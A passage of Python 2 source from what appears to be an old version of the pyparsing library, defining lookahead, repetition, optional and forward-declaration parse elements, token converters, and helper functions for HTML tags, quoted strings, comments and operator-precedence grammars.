            self.saveAsList = expr.saveAsList
            self.callPreparse = expr.callPreparse
            self.ignoreExprs.extend(expr.ignoreExprs)

    def parseImpl( self, instring, loc, doActions=True ):
        if self.expr is not None:
            return self.expr._parse( instring, loc, doActions, callPreParse=False )
        else:
            raise ParseException("",loc,self.errmsg,self)
            
    def leaveWhitespace( self ):
        self.skipWhitespace = False
        self.expr = self.expr.copy()
        if self.expr is not None:
            self.expr.leaveWhitespace()
        return self

    def ignore( self, other ):
        if isinstance( other, Suppress ):
            if other not in self.ignoreExprs:
                super( ParseElementEnhance, self).ignore( other )
                if self.expr is not None:
                    self.expr.ignore( self.ignoreExprs[-1] )
        else:
            super( ParseElementEnhance, self).ignore( other )
            if self.expr is not None:
                self.expr.ignore( self.ignoreExprs[-1] )
        return self

    def streamline( self ):
        super(ParseElementEnhance,self).streamline()
        if self.expr is not None:
            self.expr.streamline()
        return self

    def checkRecursion( self, parseElementList ):
        if self in parseElementList:
            raise RecursiveGrammarException( parseElementList+[self] )
        subRecCheckList = parseElementList[:] + [ self ]
        if self.expr is not None:
            self.expr.checkRecursion( subRecCheckList )
        
    def validate( self, validateTrace=[] ):
        tmp = validateTrace[:]+[self]
        if self.expr is not None:
            self.expr.validate(tmp)
        self.checkRecursion( [] )
    
    def __str__( self ):
        try:
            return super(ParseElementEnhance,self).__str__()
        except:
            pass
            
        if self.strRepr is None and self.expr is not None:
            self.strRepr = "%s:(%s)" % ( self.__class__.__name__, _ustr(self.expr) )
        return self.strRepr


class FollowedBy(ParseElementEnhance):
    """Lookahead matching of the given parse expression.  FollowedBy
    does *not* advance the parsing position within the input string, it only 
    verifies that the specified parse expression matches at the current 
    position.  FollowedBy always returns a null token list."""
    def __init__( self, expr ):
        super(FollowedBy,self).__init__(expr)
        self.mayReturnEmpty = True
        
    def parseImpl( self, instring, loc, doActions=True ):
        self.expr.tryParse( instring, loc )
        return loc, []


class NotAny(ParseElementEnhance):
    """Lookahead to disallow matching with the given parse expression.  NotAny
    does *not* advance the parsing position within the input string, it only 
    verifies that the specified parse expression does *not* match at the current 
    position.  Also, NotAny does *not* skip over leading whitespace. NotAny 
    always returns a null token list.  May be constructed using the '~' operator."""
    def __init__( self, expr ):
        super(NotAny,self).__init__(expr)
        #~ self.leaveWhitespace()
        self.skipWhitespace = False  # do NOT use self.leaveWhitespace(), don't want to propagate to exprs
        self.mayReturnEmpty = True
        self.errmsg = "Found unwanted token, "+_ustr(self.expr)
        #self.myException = ParseException("",0,self.errmsg,self)
        
    def parseImpl( self, instring, loc, doActions=True ):
        try:
            self.expr.tryParse( instring, loc )
        except (ParseException,IndexError):
            pass
        else:
            #~ raise ParseException(instring, loc, self.errmsg )
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc
        return loc, []

    def __str__( self ):
        if hasattr(self,"name"):
            return self.name
            
        if self.strRepr is None:
            self.strRepr = "~{" + _ustr(self.expr) + "}"
        
        return self.strRepr


class ZeroOrMore(ParseElementEnhance):
    """Optional repetition of zero or more of the given expression."""
    def __init__( self, expr ):
        super(ZeroOrMore,self).__init__(expr)
        self.mayReturnEmpty = True
    
    def parseImpl( self, instring, loc, doActions=True ):
        tokens = []
        try:
            loc, tokens = self.expr._parse( instring, loc, doActions, callPreParse=False )
            hasIgnoreExprs = ( len(self.ignoreExprs) > 0 )
            while 1:
                if hasIgnoreExprs:
                    preloc = self._skipIgnorables( instring, loc )
                else:
                    preloc = loc
                loc, tmptokens = self.expr._parse( instring, preloc, doActions )
                if tmptokens or tmptokens.keys():
                    tokens += tmptokens
        except (ParseException,IndexError):
            pass

        return loc, tokens

    def __str__( self ):
        if hasattr(self,"name"):
            return self.name
            
        if self.strRepr is None:
            self.strRepr = "[" + _ustr(self.expr) + "]..."
        
        return self.strRepr
    
    def setResultsName( self, name, listAllMatches=False ):
        ret = super(ZeroOrMore,self).setResultsName(name,listAllMatches)
        ret.saveAsList = True
        return ret
    

class OneOrMore(ParseElementEnhance):
    """Repetition of one or more of the given expression."""
    def parseImpl( self, instring, loc, doActions=True ):
        # must be at least one
        loc, tokens = self.expr._parse( instring, loc, doActions, callPreParse=False )
        try:
            hasIgnoreExprs = ( len(self.ignoreExprs) > 0 )
            while 1:
                if hasIgnoreExprs:
                    preloc = self._skipIgnorables( instring, loc )
                else:
                    preloc = loc
                loc, tmptokens = self.expr._parse( instring, preloc, doActions )
                if tmptokens or tmptokens.keys():
                    tokens += tmptokens
        except (ParseException,IndexError):
            pass

        return loc, tokens

    def __str__( self ):
        if hasattr(self,"name"):
            return self.name
            
        if self.strRepr is None:
            self.strRepr = "{" + _ustr(self.expr) + "}..."
        
        return self.strRepr
    
    def setResultsName( self, name, listAllMatches=False ):
        ret = super(OneOrMore,self).setResultsName(name,listAllMatches)
        ret.saveAsList = True
        return ret

class _NullToken(object):
    def __bool__(self):
        return False
    def __str__(self):
        return ""

_optionalNotMatched = _NullToken()
class Optional(ParseElementEnhance):
    """Optional matching of the given expression.
       A default return string can also be specified, if the optional expression
       is not found.
    """
    def __init__( self, exprs, default=_optionalNotMatched ):
        super(Optional,self).__init__( exprs, savelist=False )
        self.defaultValue = default
        self.mayReturnEmpty = True

    def parseImpl( self, instring, loc, doActions=True ):
        try:
            loc, tokens = self.expr._parse( instring, loc, doActions, callPreParse=False )
        except (ParseException,IndexError):
            if self.defaultValue is not _optionalNotMatched:
                tokens = [ self.defaultValue ]
            else:
                tokens = []
        return loc, tokens

    def __str__( self ):
        if hasattr(self,"name"):
            return self.name
            
        if self.strRepr is None:
            self.strRepr = "[" + _ustr(self.expr) + "]"
        
        return self.strRepr


class SkipTo(ParseElementEnhance):
    """Token for skipping over all undefined text until the matched expression is found.
       If include is set to true, the matched expression is also consumed.  The ignore
       argument is used to define grammars (typically quoted strings and comments) that 
       might contain false matches.
    """
    def __init__( self, other, include=False, ignore=None ):
        super( SkipTo, self ).__init__( other )
        if ignore is not None:
            self.expr = self.expr.copy()
            self.expr.ignore(ignore)
        self.mayReturnEmpty = True
        self.mayIndexError = False
        self.includeMatch = include
        self.asList = False
        self.errmsg = "No match found for "+_ustr(self.expr)
        #self.myException = ParseException("",0,self.errmsg,self)

    def parseImpl( self, instring, loc, doActions=True ):
        startLoc = loc
        instrlen = len(instring)
        expr = self.expr
        while loc <= instrlen:
            try:
                loc = expr._skipIgnorables( instring, loc )
                expr._parse( instring, loc, doActions=False, callPreParse=False )
                if self.includeMatch:
                    skipText = instring[startLoc:loc]
                    loc,mat = expr._parse(instring,loc,doActions,callPreParse=False)
                    if mat:
                        skipRes = ParseResults( skipText )
                        skipRes += mat
                        return loc, [ skipRes ]
                    else:
                        return loc, [ skipText ]
                else:
                    return loc, [ instring[startLoc:loc] ]
            except (ParseException,IndexError):
                loc += 1
        exc = self.myException
        exc.loc = loc
        exc.pstr = instring
        raise exc

class Forward(ParseElementEnhance):
    """Forward declaration of an expression to be defined later -
       used for recursive grammars, such as algebraic infix notation.
       When the expression is known, it is assigned to the Forward variable using the '<<' operator.
       
       Note: take care when assigning to Forward not to overlook precedence of operators.
       Specifically, '|' has a lower precedence than '<<', so that::
          fwdExpr << a | b | c
       will actually be evaluated as::
          (fwdExpr << a) | b | c
       thereby leaving b and c out as parseable alternatives.  It is recommended that you
       explicitly group the values inserted into the Forward::
          fwdExpr << (a | b | c)
    """
    def __init__( self, other=None ):
        super(Forward,self).__init__( other, savelist=False )

    def __lshift__( self, other ):
        if isinstance( other, __BASE_STRING__ ):
            other = Literal(other)
        self.expr = other
        self.mayReturnEmpty = other.mayReturnEmpty
        self.strRepr = None
        self.mayIndexError = self.expr.mayIndexError
        self.mayReturnEmpty = self.expr.mayReturnEmpty
        self.setWhitespaceChars( self.expr.whiteChars )
        self.skipWhitespace = self.expr.skipWhitespace
        self.saveAsList = self.expr.saveAsList        
        self.ignoreExprs.extend(self.expr.ignoreExprs)
        return None

    def leaveWhitespace( self ):
        self.skipWhitespace = False
        return self

    def streamline( self ):
        if not self.streamlined:
            self.streamlined = True
            if self.expr is not None: 
                self.expr.streamline()
        return self

    def validate( self, validateTrace=[] ):
        if self not in validateTrace:
            tmp = validateTrace[:]+[self]
            if self.expr is not None: 
                self.expr.validate(tmp)
        self.checkRecursion([])        
        
    def __str__( self ):
        if hasattr(self,"name"):
            return self.name

        self.__class__ = _ForwardNoRecurse
        try:
            if self.expr is not None: 
                retString = _ustr(self.expr)
            else:
                retString = "None"
        finally:
            self.__class__ = Forward
        return "Forward: "+retString
        
    def copy(self):
        if self.expr is not None:
            return super(Forward,self).copy()
        else:
            ret = Forward()
            ret << self
            return ret

class _ForwardNoRecurse(Forward):
    def __str__( self ):
        return "..."
        
class TokenConverter(ParseElementEnhance):
    """Abstract subclass of ParseExpression, for converting parsed results."""
    def __init__( self, expr, savelist=False ):
        super(TokenConverter,self).__init__( expr )#, savelist )
        self.saveAsList = False

class Upcase(TokenConverter):
    """Converter to upper case all matching tokens."""
    def __init__(self, *args):
        super(Upcase,self).__init__(*args)
        warnings.warn("Upcase class is deprecated, use upcaseTokens parse action instead", 
                       DeprecationWarning,stacklevel=2)
    
    def postParse( self, instring, loc, tokenlist ):
        return map( string.upper, tokenlist )


class Combine(TokenConverter):
    """Converter to concatenate all matching tokens to a single string.
       By default, the matching patterns must also be contiguous in the input string;
       this can be disabled by specifying 'adjacent=False' in the constructor.
    """
    def __init__( self, expr, joinString="", adjacent=True ):
        super(Combine,self).__init__( expr )
        # suppress whitespace-stripping in contained parse expressions, but re-enable it on the Combine itself
        if adjacent:
            self.leaveWhitespace()
        self.adjacent = adjacent
        self.skipWhitespace = True
        self.joinString = joinString

    def ignore( self, other ):
        if self.adjacent:
            ParserElement.ignore(self, other)
        else:
            super( Combine, self).ignore( other )
        return self

    def postParse( self, instring, loc, tokenlist ):
        retToks = tokenlist.copy()
        del retToks[:]
        retToks += ParseResults([ "".join(tokenlist._asStringList(self.joinString)) ], modal=self.modalResults)

        if self.resultsName and len(retToks.keys())>0:
            return [ retToks ]
        else:
            return retToks

class Group(TokenConverter):
    """Converter to return the matched tokens as a list - useful for returning tokens of ZeroOrMore and OneOrMore expressions."""
    def __init__( self, expr ):
        super(Group,self).__init__( expr )
        self.saveAsList = True

    def postParse( self, instring, loc, tokenlist ):
        return [ tokenlist ]
        
class Dict(TokenConverter):
    """Converter to return a repetitive expression as a list, but also as a dictionary.
       Each element can also be referenced using the first token in the expression as its key.
       Useful for tabular report scraping when the first column can be used as a item key.
    """
    def __init__( self, exprs ):
        super(Dict,self).__init__( exprs )
        self.saveAsList = True

    def postParse( self, instring, loc, tokenlist ):
        for i,tok in enumerate(tokenlist):
            if len(tok) == 0: 
                continue
            ikey = tok[0]
            if isinstance(ikey,int):
                ikey = _ustr(tok[0]).strip()
            if len(tok)==1:
                tokenlist[ikey] = _ParseResultsWithOffset("",i)
            elif len(tok)==2 and not isinstance(tok[1],ParseResults):
                tokenlist[ikey] = _ParseResultsWithOffset(tok[1],i)
            else:
                dictvalue = tok.copy() #ParseResults(i)
                del dictvalue[0]
                if len(dictvalue)!= 1 or (isinstance(dictvalue,ParseResults) and dictvalue.keys()):
                    tokenlist[ikey] = _ParseResultsWithOffset(dictvalue,i)
                else:
                    tokenlist[ikey] = _ParseResultsWithOffset(dictvalue[0],i)

        if self.resultsName:
            return [ tokenlist ]
        else:
            return tokenlist


class Suppress(TokenConverter):
    """Converter for ignoring the results of a parsed expression."""
    def postParse( self, instring, loc, tokenlist ):
        return []
    
    def suppress( self ):
        return self


class OnlyOnce(object):
    """Wrapper for parse actions, to ensure they are only called once."""
    def __init__(self, methodCall):
        self.callable = ParserElement._normalizeParseActionArgs(methodCall)
        self.called = False
    def __call__(self,s,l,t):
        if not self.called:
            results = self.callable(s,l,t)
            self.called = True
            return results
        raise ParseException(s,l,"")
    def reset(self):
        self.called = False

def traceParseAction(f):
    """Decorator for debugging parse actions."""
    f = ParserElement._normalizeParseActionArgs(f)
    def z(*paArgs):
        thisFunc = f.func_name
        s,l,t = paArgs[-3:]
        if len(paArgs)>3:
            thisFunc = paArgs[0].__class__.__name__ + '.' + thisFunc
        sys.stderr.write( ">>entering %s(line: '%s', %d, %s)\n" % (thisFunc,line(l,s),l,t) )
        try:
            ret = f(*paArgs)
        except Exception, exc:
            sys.stderr.write( "<<leaving %s (exception: %s)\n" % (thisFunc,exc) )
            raise
        sys.stderr.write( "<<leaving %s (ret: %s)\n" % (thisFunc,ret) )
        return ret
    try:
        z.__name__ = f.__name__
    except AttributeError:
        pass
    return z
        
#
# global helpers
#
def delimitedList( expr, delim=",", combine=False ):
    """Helper to define a delimited list of expressions - the delimiter defaults to ','.
       By default, the list elements and delimiters can have intervening whitespace, and 
       comments, but this can be overridden by passing 'combine=True' in the constructor.
       If combine is set to True, the matching tokens are returned as a single token
       string, with the delimiters included; otherwise, the matching tokens are returned
       as a list of tokens, with the delimiters suppressed.
    """
    dlName = _ustr(expr)+" ["+_ustr(delim)+" "+_ustr(expr)+"]..."
    if combine:
        return Combine( expr + ZeroOrMore( delim + expr ) ).setName(dlName)
    else:
        return ( expr + ZeroOrMore( Suppress( delim ) + expr ) ).setName(dlName)

def countedArray( expr ):
    """Helper to define a counted list of expressions.
       This helper defines a pattern of the form::
           integer expr expr expr...
       where the leading integer tells how many expr expressions follow.
       The matched tokens returns the array of expr tokens as a list - the leading count token is suppressed.
    """
    arrayExpr = Forward()
    def countFieldParseAction(s,l,t):
        n = int(t[0])
        arrayExpr << (n and Group(And([expr]*n)) or Group(empty))
        return []
    return ( Word(nums).setName("arrayLen").setParseAction(countFieldParseAction, callDuringTry=True) + arrayExpr )

def _flatten(L):
    if type(L) is not list: return [L]
    if L == []: return L
    return _flatten(L[0]) + _flatten(L[1:])

def matchPreviousLiteral(expr):
    """Helper to define an expression that is indirectly defined from
       the tokens matched in a previous expression, that is, it looks
       for a 'repeat' of a previous expression.  For example::
           first = Word(nums)
           second = matchPreviousLiteral(first)
           matchExpr = first + ":" + second
       will match "1:1", but not "1:2".  Because this matches a 
       previous literal, will also match the leading "1:1" in "1:10".  
       If this is not desired, use matchPreviousExpr.
       Do *not* use with packrat parsing enabled.
    """
    rep = Forward()
    def copyTokenToRepeater(s,l,t):
        if t:
            if len(t) == 1:
                rep << t[0]
            else:
                # flatten t tokens
                tflat = _flatten(t.asList())
                rep << And( [ Literal(tt) for tt in tflat ] )
        else:
            rep << Empty()
    expr.addParseAction(copyTokenToRepeater, callDuringTry=True)
    return rep
    
def matchPreviousExpr(expr):
    """Helper to define an expression that is indirectly defined from
       the tokens matched in a previous expression, that is, it looks
       for a 'repeat' of a previous expression.  For example::
           first = Word(nums)
           second = matchPreviousExpr(first)
           matchExpr = first + ":" + second
       will match "1:1", but not "1:2".  Because this matches by
       expressions, will *not* match the leading "1:1" in "1:10";
       the expressions are evaluated first, and then compared, so
       "1" is compared with "10".
       Do *not* use with packrat parsing enabled.
    """
    rep = Forward()
    e2 = expr.copy()
    rep << e2
    def copyTokenToRepeater(s,l,t):
        matchTokens = _flatten(t.asList())
        def mustMatchTheseTokens(s,l,t):
            theseTokens = _flatten(t.asList())
            if  theseTokens != matchTokens:
                raise ParseException("",0,"")
        rep.setParseAction( mustMatchTheseTokens, callDuringTry=True )
    expr.addParseAction(copyTokenToRepeater, callDuringTry=True)
    return rep
    
def _escapeRegexRangeChars(s):
    #~  escape these chars: ^-]
    for c in r"\^-]":
        s = s.replace(c,"\\"+c)
    s = s.replace("\n",r"\n")
    s = s.replace("\t",r"\t")
    return _ustr(s)
    
def oneOf( strs, caseless=False, useRegex=True ):
    """Helper to quickly define a set of alternative Literals, and makes sure to do 
       longest-first testing when there is a conflict, regardless of the input order, 
       but returns a MatchFirst for best performance.  
       
       Parameters:
        - strs - a string of space-delimited literals, or a list of string literals
        - caseless - (default=False) - treat all literals as caseless
        - useRegex - (default=True) - as an optimization, will generate a Regex
          object; otherwise, will generate a MatchFirst object (if caseless=True, or
          if creating a Regex raises an exception)
    """
    if caseless:
        isequal = ( lambda a,b: a.upper() == b.upper() )
        masks = ( lambda a,b: b.upper().startswith(a.upper()) )
        parseElementClass = CaselessLiteral
    else:
        isequal = ( lambda a,b: a == b )
        masks = ( lambda a,b: b.startswith(a) )
        parseElementClass = Literal
    
    if isinstance(strs,(list,tuple)):
        symbols = strs[:]
    elif isinstance(strs,__BASE_STRING__):
        symbols = strs.split()
    else:
        warnings.warn("Invalid argument to oneOf, expected string or list",
                SyntaxWarning, stacklevel=2)
        
    i = 0
    while i < len(symbols)-1:
        cur = symbols[i]
        for j,other in enumerate(symbols[i+1:]):
            if ( isequal(other, cur) ):
                del symbols[i+j+1]
                break
            elif ( masks(cur, other) ):
                del symbols[i+j+1]
                symbols.insert(i,other)
                cur = other
                break
        else:
            i += 1

    if not caseless and useRegex:
        #~ print (strs,"->", "|".join( [ _escapeRegexChars(sym) for sym in symbols] ))
        try:
            if len(symbols)==len("".join(symbols)):
                return Regex( "[%s]" % "".join( [ _escapeRegexRangeChars(sym) for sym in symbols] ) )
            else:
                return Regex( "|".join( [ re.escape(sym) for sym in symbols] ) )
        except:
            warnings.warn("Exception creating Regex for oneOf, building MatchFirst",
                    SyntaxWarning, stacklevel=2)


    # last resort, just use MatchFirst
    return MatchFirst( [ parseElementClass(sym) for sym in symbols ] )

def dictOf( key, value ):
    """Helper to easily and clearly define a dictionary by specifying the respective patterns
       for the key and value.  Takes care of defining the Dict, ZeroOrMore, and Group tokens
       in the proper order.  The key pattern can include delimiting markers or punctuation,
       as long as they are suppressed, thereby leaving the significant key text.  The value
       pattern can include named results, so that the Dict results can include named token 
       fields.
    """
    return Dict( ZeroOrMore( Group ( key + value ) ) )

# convenience constants for positional expressions
empty       = Empty().setName("empty")
lineStart   = LineStart().setName("lineStart")
lineEnd     = LineEnd().setName("lineEnd")
stringStart = StringStart().setName("stringStart")
stringEnd   = StringEnd().setName("stringEnd")

_escapedPunc = Word( _bslash, r"\[]-*.$+^?()~ ", exact=2 ).setParseAction(lambda s,l,t:t[0][1])
_printables_less_backslash = "".join([ c for c in printables if c not in  r"\]" ])
_escapedHexChar = Combine( Suppress(_bslash + "0x") + Word(hexnums) ).setParseAction(lambda s,l,t:unichr(int(t[0],16)))
_escapedOctChar = Combine( Suppress(_bslash) + Word("0","01234567") ).setParseAction(lambda s,l,t:unichr(int(t[0],8)))
_singleChar = _escapedPunc | _escapedHexChar | _escapedOctChar | Word(_printables_less_backslash,exact=1)
_charRange = Group(_singleChar + Suppress("-") + _singleChar)
_reBracketExpr = Literal("[") + Optional("^").setResultsName("negate") + Group( OneOrMore( _charRange | _singleChar ) ).setResultsName("body") + "]"

_expanded = lambda p: (isinstance(p,ParseResults) and ''.join([ unichr(c) for c in range(ord(p[0]),ord(p[1])+1) ]) or p)
        
def srange(s):
    r"""Helper to easily define string ranges for use in Word construction.  Borrows
       syntax from regexp '[]' string range definitions::
          srange("[0-9]")   -> "0123456789"
          srange("[a-z]")   -> "abcdefghijklmnopqrstuvwxyz"
          srange("[a-z$_]") -> "abcdefghijklmnopqrstuvwxyz$_"
       The input string must be enclosed in []'s, and the returned string is the expanded 
       character set joined into a single string.
       The values enclosed in the []'s may be::
          a single character
          an escaped character with a leading backslash (such as \- or \])
          an escaped hex character with a leading '\0x' (\0x21, which is a '!' character)
          an escaped octal character with a leading '\0' (\041, which is a '!' character)
          a range of any of the above, separated by a dash ('a-z', etc.)
          any combination of the above ('aeiouy', 'a-zA-Z0-9_$', etc.)
    """
    try:
        return "".join([_expanded(part) for part in _reBracketExpr.parseString(s).body])
    except:
        return ""

def matchOnlyAtCol(n): 
    """Helper method for defining parse actions that require matching at a specific 
       column in the input text.
    """
    def verifyCol(strg,locn,toks): 
        if col(locn,strg) != n:
            raise ParseException(strg,locn,"matched token not at column %d" % n) 
    return verifyCol

def replaceWith(replStr):
    """Helper method for common parse actions that simply return a literal value.  Especially 
       useful when used with transformString().
    """
    def _replFunc(*args):
        return [replStr]
    return _replFunc

def removeQuotes(s,l,t):
    """Helper parse action for removing quotation marks from parsed quoted strings.
       To use, add this parse action to quoted string using::
         quotedString.setParseAction( removeQuotes )
    """
    return t[0][1:-1]

def upcaseTokens(s,l,t):
    """Helper parse action to convert tokens to upper case."""
    return [ tt.upper() for tt in map(_ustr,t) ]

def downcaseTokens(s,l,t):
    """Helper parse action to convert tokens to lower case."""
    return [ tt.lower() for tt in map(_ustr,t) ]

def keepOriginalText(s,startLoc,t):
    """Helper parse action to preserve original parsed text,
       overriding any nested parse actions."""
    try:
        endloc = getTokensEndLoc()
    except ParseException:
        raise ParseFatalException, "incorrect usage of keepOriginalText - may only be called as a parse action"
    del t[:]
    t += ParseResults(s[startLoc:endloc])
    return t

def getTokensEndLoc():
    """Method to be called from within a parse action to determine the end 
       location of the parsed tokens."""
    import inspect
    fstack = inspect.stack()
    try:
        # search up the stack (through intervening argument normalizers) for correct calling routine
        for f in fstack[2:]:
            if f[3] == "_parseNoCache":
                endloc = f[0].f_locals["loc"]
                return endloc
        else:
            raise ParseFatalException, "incorrect usage of getTokensEndLoc - may only be called from within a parse action"
    finally:
        del fstack

def _makeTags(tagStr, xml):
    """Internal helper to construct opening and closing tag expressions, given a tag name"""
    if isinstance(tagStr,__BASE_STRING__):
        resname = tagStr
        tagStr = Keyword(tagStr, caseless=not xml)
    else:
        resname = tagStr.name

    tagAttrName = Word(alphas,alphanums+"_-:")
    if (xml):
        tagAttrValue = dblQuotedString.copy().setParseAction( removeQuotes )
        openTag = Suppress("<") + tagStr + \
                Dict(ZeroOrMore(Group( tagAttrName + Suppress("=") + tagAttrValue ))) + \
                Optional("/",default=[False]).setResultsName("empty").setParseAction(lambda s,l,t:t[0]=='/') + Suppress(">")
    else:
        printablesLessRAbrack = "".join( [ c for c in printables if c not in ">" ] )
        tagAttrValue = quotedString.copy().setParseAction( removeQuotes ) | Word(printablesLessRAbrack)
        openTag = Suppress("<") + tagStr + \
                Dict(ZeroOrMore(Group( tagAttrName.setParseAction(downcaseTokens) + \
                Optional( Suppress("=") + tagAttrValue ) ))) + \
                Optional("/",default=[False]).setResultsName("empty").setParseAction(lambda s,l,t:t[0]=='/') + Suppress(">")
    closeTag = Combine(_L("</") + tagStr + ">")

    openTag = openTag.setResultsName("start"+"".join(resname.replace(":"," ").title().split())).setName("<%s>" % tagStr)
    closeTag = closeTag.setResultsName("end"+"".join(resname.replace(":"," ").title().split())).setName("</%s>" % tagStr)

    return openTag, closeTag

def makeHTMLTags(tagStr):
    """Helper to construct opening and closing tag expressions for HTML, given a tag name"""
    return _makeTags( tagStr, False )

def makeXMLTags(tagStr):
    """Helper to construct opening and closing tag expressions for XML, given a tag name"""
    return _makeTags( tagStr, True )

def withAttribute(*args,**attrDict):
    """Helper to create a validating parse action to be used with start tags created 
       with makeXMLTags or makeHTMLTags. Use withAttribute to qualify a starting tag 
       with a required attribute value, to avoid false matches on common tags such as 
       <TD> or <DIV>.

       Call withAttribute with a series of attribute names and values. Specify the list 
       of filter attributes names and values as:
        - keyword arguments, as in (class="Customer",align="right"), or
        - a list of name-value tuples, as in ( ("ns1:class", "Customer"), ("ns2:align","right") )
       For attribute names with a namespace prefix, you must use the second form.  Attribute
       names are matched insensitive to upper/lower case.
    
       To verify that the attribute exists, but without specifying a value, pass
       withAttribute.ANY_VALUE as the value.
       """
    if args:
        attrs = args[:]
    else:
        attrs = attrDict.items()
    attrs = [(k,v) for k,v in attrs]
    def pa(s,l,tokens):
        for attrName,attrValue in attrs:
            if attrName not in tokens:
                raise ParseException(s,l,"no matching attribute " + attrName)
            if attrValue != withAttribute.ANY_VALUE and tokens[attrName] != attrValue:
                raise ParseException(s,l,"attribute '%s' has value '%s', must be '%s'" %
                                            (attrName, tokens[attrName], attrValue))
    return pa
withAttribute.ANY_VALUE = object()

opAssoc = _Constants()
opAssoc.LEFT = object()
opAssoc.RIGHT = object()

def operatorPrecedence( baseExpr, opList ):
    """Helper method for constructing grammars of expressions made up of
       operators working in a precedence hierarchy.  Operators may be unary or
       binary, left- or right-associative.  Parse actions can also be attached
       to operator expressions.

       Parameters:
        - baseExpr - expression representing the most basic element for the nested
        - opList - list of tuples, one for each operator precedence level in the
          expression grammar; each tuple is of the form
          (opExpr, numTerms, rightLeftAssoc, parseAction), where:
           - opExpr is the pyparsing expression for the operator;
              may also be a string, which will be converted to a Literal
           - numTerms is the number of terms for this operator (must
              be 1 or 2)
           - rightLeftAssoc is the indicator whether the operator is
              right or left associative, using the pyparsing-defined
              constants opAssoc.RIGHT and opAssoc.LEFT.
           - parseAction is the parse action to be associated with 
              expressions matching this operator expression (the
              parse action tuple member may be omitted)
    """
    ret = Forward()
    lastExpr = baseExpr | ( Suppress('(') + ret + Suppress(')') )
    for i,operDef in enumerate(opList):
        opExpr,arity,rightLeftAssoc,pa = (operDef + (None,))[:4]
        thisExpr = Forward()#.setName("expr%d" % i)
        if rightLeftAssoc == opAssoc.LEFT:
            if arity == 1:
                matchExpr = Group( FollowedBy(lastExpr + opExpr) + lastExpr + OneOrMore( opExpr ) )
            elif arity == 2:
                matchExpr = Group( FollowedBy(lastExpr + opExpr + lastExpr) + lastExpr + OneOrMore( opExpr + lastExpr ) )
            else:
                raise ValueError, "operator must be unary (1) or binary (2)"
        elif rightLeftAssoc == opAssoc.RIGHT:
            if arity == 1:
                # try to avoid LR with this extra test
                if not isinstance(opExpr, Optional):
                    opExpr = Optional(opExpr)
                matchExpr = FollowedBy(opExpr.expr + thisExpr) + Group( opExpr + thisExpr ) 
            elif arity == 2:
                matchExpr = Group( FollowedBy(lastExpr + opExpr + thisExpr) + lastExpr + OneOrMore( opExpr + thisExpr ) )
            else:
                raise ValueError, "operator must be unary (1) or binary (2)"
        else:
            raise ValueError, "operator must indicate right or left associativity"
        if pa:
            matchExpr.setParseAction( pa )
        thisExpr << ( matchExpr | lastExpr )
        lastExpr = thisExpr
    ret << lastExpr
    return ret

dblQuotedString = Regex(r'"(?:[^"\n\r\\]|(?:"")|(?:\\x[0-9a-fA-F]+)|(?:\\.))*"').setName("string enclosed in double quotes")
sglQuotedString = Regex(r"'(?:[^'\n\r\\]|(?:'')|(?:\\x[0-9a-fA-F]+)|(?:\\.))*'").setName("string enclosed in single quotes")
quotedString = Regex(r'''(?:"(?:[^"\n\r\\]|(?:"")|(?:\\x[0-9a-fA-F]+)|(?:\\.))*")|(?:'(?:[^'\n\r\\]|(?:'')|(?:\\x[0-9a-fA-F]+)|(?:\\.))*')''').setName("quotedString using single or double quotes")
unicodeString = Combine(_L('u') + quotedString.copy())

def nestedExpr(opener="(", closer=")", content=None, ignoreExpr=quotedString):
    """Helper method for defining nested lists enclosed in opening and closing
       delimiters ("(" and ")" are the default).

       Parameters:
        - opener - opening character for a nested list (default="("); can also be a pyparsing expression
        - closer - closing character for a nested list (default=")"); can also be a pyparsing expression
        - content - expression for items within the nested lists (default=None)
        - ignoreExpr - expression for ignoring opening and closing delimiters (default=quotedString)

       If an expression is not provided for the content argument, the nested
       expression will capture all whitespace-delimited content between delimiters
       as a list of separate values.

       Use the ignoreExpr argument to define expressions that may contain
       opening or closing characters that should not be treated as opening
       or closing characters for nesting, such as quotedString or a comment
       expression.  Specify multiple expressions using an Or or MatchFirst.
       The default is quotedString, but if no expressions are to be ignored,
       then pass None for this argument.
    """
    if opener == closer:
        raise ValueError("opening and closing strings cannot be the same")
    if content is None:
        if isinstance(opener,__BASE_STRING__) and isinstance(closer,__BASE_STRING__):
            content = (empty+CharsNotIn(opener+closer+ParserElement.DEFAULT_WHITE_CHARS).setParseAction(lambda t:t[0].strip()))
        else:
            raise ValueError("opening and closing arguments must be strings if no content expression is given")
    ret = Forward()
    if ignoreExpr is not None:
        ret << Group( Suppress(opener) + ZeroOrMore( ignoreExpr | ret | content ) + Suppress(closer) )
    else:
        ret << Group( Suppress(opener) + ZeroOrMore( ret | content )  + Suppress(closer) )
    return ret

alphas8bit = srange(r"[\0xc0-\0xd6\0xd8-\0xf6\0xf8-\0xff]")
punc8bit = srange(r"[\0xa1-\0xbf\0xd7\0xf7]")

anyOpenTag,anyCloseTag = makeHTMLTags(Word(alphas,alphanums+"_:"))
commonHTMLEntity = Combine(_L("&") + oneOf("gt lt amp nbsp quot").setResultsName("entity") +";")
_htmlEntityMap = dict(zip("gt lt amp nbsp quot".split(),"><& '"))
replaceHTMLEntity = lambda t : t.entity in _htmlEntityMap and _htmlEntityMap[t.entity] or None

# it's easy to get these comment structures wrong - they're very common, so may as well make them available
cStyleComment = Regex(r"/\*(?:[^*]*\*+)+?/").setName("C style comment")

htmlComment = Regex(r"<!--[\s\S]*?-->")
restOfLine = Regex(r".*").leaveWhitespace()
dblSlashComment = Regex(r"\/\/(\\\n|.)*").setName("// comment")
cppStyleComment = Regex(r"/(?:\*(?:[^*]*\*+)+?/|/[^\n]*(?:\n[^\n]*)*?(?:(?<!\\)|\Z))").setName("C++ style comment")

javaStyleComment = cppStyleComment
pythonStyleComment = Regex(r"#.*").setName("Python style comment")
_noncomma = "".join( [ c for c in printables if c != "," ] )
_commasepitem = Combine(OneOrMore(Word(_noncomma) +
                                  Optional( Word(" \t") +
                                            ~Literal(",") + ~LineEnd() ) ) ).streamline().setName("commaItem")
commaSeparatedList = delimitedList( Optional( quotedString | _commasepitem, default="") ).setName("commaSeparatedList")


if __name__ == "__main__":

    def test( teststring ):
        print (teststring,"->",)
        try:
            tokens = simpleSQL.parseString( teststring )
            tokenlist = tokens.asList()
            print (tokenlist)
            print ("tokens = ",        tokens)
            print ("tokens.columns =", tokens.columns)
            print ("tokens.tables =",  tokens.tables)
            print (tokens.asXML("SQL",True))
        except ParseException,err:
            print (err.line)
            print (" "*(err.column-1) + "^")
            print (err)
        print()

